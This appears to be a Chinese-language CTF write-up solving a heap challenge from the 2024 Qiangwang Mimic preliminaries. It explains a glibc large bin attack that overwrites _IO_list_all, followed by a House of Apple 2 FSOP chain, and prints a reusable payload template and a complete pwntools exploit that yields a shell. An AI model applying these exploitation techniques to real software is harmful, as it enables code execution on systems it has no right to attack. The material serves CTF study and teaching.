large bin attack

large bin attack原理
Glibc 在将一个 chunk 插入 Large Bin 时,会尝试将它链入已有的 chunk 链表中。如果我们将已有 chunk (Chunk 0) 的 bk_nextsize 指针修改为 TargetAddr - 0x20,由于链表操作逻辑: victim->bk_nextsize->fd_nextsize = new_chunk 系统就会执行: *(TargetAddr - 0x20 + 0x20) = new_chunk 即: *TargetAddr = new_chunk
题目解析:2024年强网拟态初赛
正常菜单题,增删改查都有

这里的add函数只能申请大于0x4ff的堆块,由于tache bin的范围在0x80-0x400,所以本题目要用到large bin attack加apple2链子来打

很明显的uaf,可以先泄露出来libc和堆地址

先基本的堆布局,然后就是正常的泄露信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| add(0,0x520) add(1, 0x510) add(2, 0x510)
free(0) show(0) libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x21ace0 log.success(xilker(f'libc_base-->{hex(libc_base)}')) add(3, 0x550) edit(0, 'a' * 0x10) show(0) p.recvuntil(b'a' * 0x10)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x290 log.success(xilker(f'heap_base-->{hex(heap_base)}')) _IO_list_all = libc_base + libc.sym['_IO_list_all'] _IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] _IO_stdfile_2_lock = libc_base + 0x21ca60 ogg = libc_base + ogg[1] system_addr = libc_base + libc.sym['system'] target = libc_base + 0x21ace0 log.success(xilker(f'IO-->{hex(target)}')) free(2)
|
这两个地址是我们后续要重点使用的,下面开始重点的large bin attack
1 2
| _IO_list_all = libc_base + libc.sym['_IO_list_all'] _IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
|
这里开始large bin attack,我们先看一下没攻击前的堆布局chunk2作为攻击块,此时还在unsortbin中


此时我们刚泄露完地址的chunk0已经在largebin中,我们开始伪造指针,使得后面吧IO_list_all申请到chunk2来伪造io结构

此时我们执行paylaod得到一下结果,bk_nextsize就是我们的IO_list_all地址,large_bin_attck在bk_nextsize指针上起作用,所以第二个target指针可以设置为0或者让他恢复为main_arena的可写地址避免麻烦,伪造fd_nextsize为本身,然后伪造bk_nextsize为IO_list_all-0x20
1 2
| p1 = p64(0) + p64(target) + p64(heap_base + 0x290) + p64(_IO_list_all - 0x20) edit(0, p1)
|



写 _IO_list_all - 0x20的原因
在 Glibc 把一个新堆块(假设是 Chunk 2)插入到这个 Large Bin 的过程中,如果满足插入条件,会执行如下宏操作:
1 2 3 4 5
| victim->bk_nextsize = fwd->bk_nextsize; victim->fd_nextsize = fwd; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim;
|
当把 fwd->bk_nextsize 修改为 _IO_list_all - 0x20 后:
victim->bk_nextsize 变成了 _IO_list_all - 0x20。
- 最后一句话变成了:
(_IO_list_all - 0x20)->fd_nextsize = victim。
- 由于
fd_nextsize 字段相对于堆块头部的偏移正好是 **0x20**。
- 结果就是:
*(_IO_list_all - 0x20 + 0x20) = victim。
- 即:
_IO_list_all 的内容被改写成了 victim 的堆地址。
接着我们去申请一个大的chunk,触发malloc申请机制,吧chunk


这里就会有一个问题: 这个paylaod结束后我申请了0x550大小的堆块,为什么在0chunk构造的_IO_list_all-0x20指针,此时会变为chunk2的bk_nextsize为_IO_list_all?,以下是gemini3的回答
简单一句话总结:因为在 Large Bin Attack 的过程中,Glibc 会把新插入的 Chunk 2 “强行”插入到你伪造的 **bk_nextsize** 链表节点之间。
让我们通过 Glibc 的源码逻辑(通常是 malloc.c 中的 _int_malloc 整理 Unsorted Bin 的部分)来还原这个过程:
1. 攻击发生前的状态
- **Chunk 0 (在 Large Bin 中)**:你的 payload 已经把它的
bk_nextsize 改成了 _IO_list_all - 0x20。
- **Target (目标位置)**:此时
_IO_list_all 偏移 0 处的内容还是旧的(比如指向 stderr 或者 0)。
- **Chunk 2 (在 Unsorted Bin 中)**:正准备被
malloc(0x550) 整理进 Large Bin。
2. 插入逻辑触发 (关键源码追踪)
当 Glibc 确定 Chunk 2 应该插入到 Chunk 0 所在的这个 Large Bin 链表,并且 Chunk 2 的大小适合作为 Chunk 0 的“后继”时,会执行类似下面的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
|
由于在第 2 步中,victim->bk_nextsize 被赋成了 _IO_list_all - 0x20,那么第 4 步实际上变成了:
1
| ((_IO_list_all - 0x20))->fd_nextsize = victim;
|
在 Glibc 的 malloc_chunk 结构体中,fd_nextsize 字段相对于当前地址的偏移正好是 0x20。所以: *(_IO_list_all - 0x20 + 0x20) = victim; 即: *(_IO_list_all) = Chunk 2的地址;
- Chunk 0 的
bk_nextsize 现在指向 Chunk 2。
- Chunk 2 的
bk_nextsize 指向了 **_IO_list_all - 0x20**。
**_IO_list_all** 处的值变成了 Chunk 2 的地址(被当成了 fd_nextsize 写入了)。
现在 _IO_list_all 已经被劫持指向了 Chunk 2,当程序执行 exit 或从 main 返回时,系统会遍历 _IO_list_all 并尝试刷新缓冲区。我们需要在 Chunk 2 里伪造好结构体
下面就是在chunk2中伪造IO结构体
House of Apple 2 的核心是利用 _IO_wfile_overflow 函数。调用链如下:
- 系统调用
_IO_OVERFLOW(fp)。
- 我们把
vtable 劫持为 _IO_wfile_jumps,所以实际调用的是 _IO_wfile_overflow。
_IO_wfile_overflow 内部检查 _wide_data,并最终通过 _wide_vtable 调用函数: *(fp->_wide_data->_wide_vtable + 0x68)(fp)
这里是一个apple2模板,可以直接用
有一点要注意的是heap_addr和target_addr是根据当前堆布局算出来的,这里的0x290就是计算堆基地址的偏移,然后0x500是攻击chunk2堆块地址的前一个chunk大小,0x550是刚才申请的chunk大小。0x550和0x500都是可以变的。至于模板里的偏移是固定的
这里的偏移只要满足计算完的长度刚好是这个攻击块的chunk就可以,偏移有误差可以手动计算一下


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| p2 = b'\x00' p2 = p2.ljust(0x18, b'\x00') + p64(1) p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0) p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps) p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8) p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(ogg) from pwn import * import json context(os='linux', arch='amd64', log_level='debug') elf = ELF('./pwn') libc = ELF('./libc.so.6') p = process('./pwn')
def xilker(x, code=95): return f"\x1b[{code}m{x}\x1b[0m"
def menu(index): p.recvuntil('>') p.sendline(str(index))
def add(index, size): menu(1) p.recvuntil('input your index') p.sendline(str(index)) p.recvuntil('input your size') p.sendline(str(size))
def edit(index, content): menu(2) p.recvuntil('input your index') p.sendline(str(index)) p.recvuntil('nput your content') p.send(content)
def free(index): menu(3) p.recvuntil('input your index') p.sendline(str(index))
def show(index): menu(4) p.recvuntil('input your index') p.sendline(str(index))
ogg = [0x50a47, 0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43] add(0,0x520) add(1, 0x510) add(2, 0x510)
free(0) show(0) libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x21ace0 log.success(xilker(f'libc_base-->{hex(libc_base)}')) add(3, 0x550) # chunk0申请回来了,为了把chunk0从unsortbin放入到largebin中 edit(0, 'a' * 0x10) show(0) p.recvuntil(b'a' * 0x10)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x290 log.success(xilker(f'heap_base-->{hex(heap_base)}')) _IO_list_all = libc_base + libc.sym['_IO_list_all'] _IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps'] _IO_stdfile_2_lock = libc_base + 0x21ca60 ogg = libc_base + ogg[1] system_addr = libc_base + libc.sym['system'] target = libc_base + 0x21ace0 # main_arena + 86 log.success(xilker(f'IO-->{hex(target)}')) free(2) # chunk2作为攻击块
# 准备large bin attack p1 = p64(0) + p64(target) + p64(heap_base + 0x290) + p64(_IO_list_all - 0x20) edit(0, p1)
add(4, 0x550) heap_addr = heap_base + 0x550 + 0x500 + 0x290 target_addr = heap_base + 0x550 + 0x500 + 0x290
p2 = b'\x00' p2 = p2.ljust(0x18, b'\x00') + p64(1) p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0) p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps) p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(target_addr + 0xe0 + 0xe8) p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(ogg)
edit(2, p2) #gdb.attach(p)
p.sendlineafter("exit\n" , b'5')
p.interactive()
|